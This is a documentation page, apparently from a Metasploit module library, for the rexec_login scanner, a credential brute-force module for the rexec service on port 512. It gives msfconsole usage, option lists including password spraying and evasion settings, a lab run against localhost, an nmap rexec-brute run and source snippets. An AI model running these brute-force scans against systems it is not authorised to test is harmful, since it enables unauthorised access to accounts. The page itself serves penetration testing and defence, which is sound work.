rexec Authentication Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/rservices/rexec_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: rexec Authentication Scanner
Module: auxiliary/scanner/rservices/rexec_login
Source code: modules/auxiliary/scanner/rservices/rexec_login.rb
Disclosure date: -
Last modification time: 2018-12-12 13:57:31 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 512
List of CVEs: CVE-1999-0502, CVE-1999-0651
This module will test an rexec service on a range of machines and report successful logins. NOTE: This module requires access to bind to privileged ports (below 1024).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/rservices/rexec_login
msf auxiliary(rexec_login) > show options
... show and set options ...
msf auxiliary(rexec_login) > set RHOSTS ip-range
msf auxiliary(rexec_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(rexec_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(rexec_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(rexec_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The R Services (rexecd, rlogind, and rshd) are a suite of unencrypted remote command/login services developed in the 1980s. These services are all but unused in modern computing, as they have been replace by telnet and ssh.
The following was done on Kali linux:
apt-get install rsh-serverwhich includes:rexecd,rlogindandrshd.- Start the service:
service openbsd-inetd start
Verification Steps
- Install and configure rexec
- Start msfconsole
- Do:
use auxiliary/scanner/rservices/rexec_login - Do:
set rhosts - Set any other credentials that will need to be set
- Do:
run
Scenarios
A run against the configuration from these docs
msf > use auxiliary/scanner/rservices/rexec_login
msf auxiliary(rexec_login) > set username test
username => test
msf auxiliary(rexec_login) > set password 'test'
password => test
msf auxiliary(rexec_login) > run
[*] 127.0.0.1:512 - 127.0.0.1:512 - Starting rexec sweep
[+] 127.0.0.1:512 - 127.0.0.1:512, rexec 'test' : 'test'
[!] 127.0.0.1:512 - *** auxiliary/scanner/rservices/rexec_login is still calling the deprecated report_auth_info method! This needs to be updated!
[!] 127.0.0.1:512 - *** For detailed information about LoginScanners and the Credentials objects see:
[!] 127.0.0.1:512 - https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners
[!] 127.0.0.1:512 - https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module
[!] 127.0.0.1:512 - *** For examples of modules converted to just report credentials without report_auth_info, see:
[!] 127.0.0.1:512 - https://github.com/rapid7/metasploit-framework/pull/5376
[!] 127.0.0.1:512 - https://github.com/rapid7/metasploit-framework/pull/5377
[*] Command shell session 2 opened (127.0.0.1:37489 -> 127.0.0.1:512) at 2017-04-27 20:56:54 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Confirming using NMAP
Utilizing rexec-brute
nmap -p 512 --script rexec-brute 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-27 21:23 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000037s latency).
PORT STATE SERVICE
512/tcp open exec
| rexec-brute:
| Accounts:
| test:test - Valid credentials
|_ Statistics: Performed 7085940 guesses in 629 seconds, average tps: 9231.6
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Msfconsole Usage
Here is how the scanner/rservices/rexec_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/rservices/rexec_login
msf6 auxiliary(scanner/rservices/rexec_login) > show info
Name: rexec Authentication Scanner
Module: auxiliary/scanner/rservices/rexec_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
jduck <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
ENABLE_STDERR false yes Enables connecting the stderr port
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 512 yes The target port (TCP)
STDERR_PORT no The port to listen on for stderr
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module will test an rexec service on a range of machines and
report successful logins. NOTE: This module requires access to bind
to privileged ports (below 1024).
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0651
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the scanner/rservices/rexec_login auxiliary module:
msf6 auxiliary(scanner/rservices/rexec_login) > show options
Module options (auxiliary/scanner/rservices/rexec_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
ENABLE_STDERR false yes Enables connecting the stderr port
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 512 yes The target port (TCP)
STDERR_PORT no The port to listen on for stderr
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/rservices/rexec_login auxiliary module:
msf6 auxiliary(scanner/rservices/rexec_login) > show advanced
Module advanced options (auxiliary/scanner/rservices/rexec_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CHOST no The local client address
CPORT no The local client port
CommandShellCleanupCommand no A command to run before the session is closed
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.
2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/rservices/rexec_login module can do:
msf6 auxiliary(scanner/rservices/rexec_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/rservices/rexec_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/rservices/rexec_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Result: <VALUE>
Here is a relevant code snippet related to the "Result: <VALUE>" error message:
91:
92: # Read the expected nul byte response.
93: buf = sock.get_once(1) || ''
94: if buf != "\x00"
95: buf = sock.get_once(-1) || ""
96: vprint_error("Result: #{buf.gsub(/[[:space:]]+/, ' ')}")
97: return :failed
98: end
99:
100: # should we report a vuln here? rexec allowed w/o password?!
101: print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
Unable to bind to listener port
Here is a relevant code snippet related to the "Unable to bind to listener port" error message:
130: stderr_port = 1024 + rand(0x10000 - 1024)
131: }
132: end
133:
134: if not sd
135: print_error("Unable to bind to listener port")
136: return false
137: end
138:
139: add_socket(sd)
140: print_status("Listening on port #{stderr_port}")
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Related Pull Requests
- #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #447 Merged Pull Request: Fix how some module handle send_request_* and get_once()'s nil return value
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- exploit/multi/misc/consul_rexec_exec
- exploit/dialup/multi/login/manyargs
Related Nessus plugins:
- rlogin Service Detection
- rsh Service Detection
- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
Authors
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
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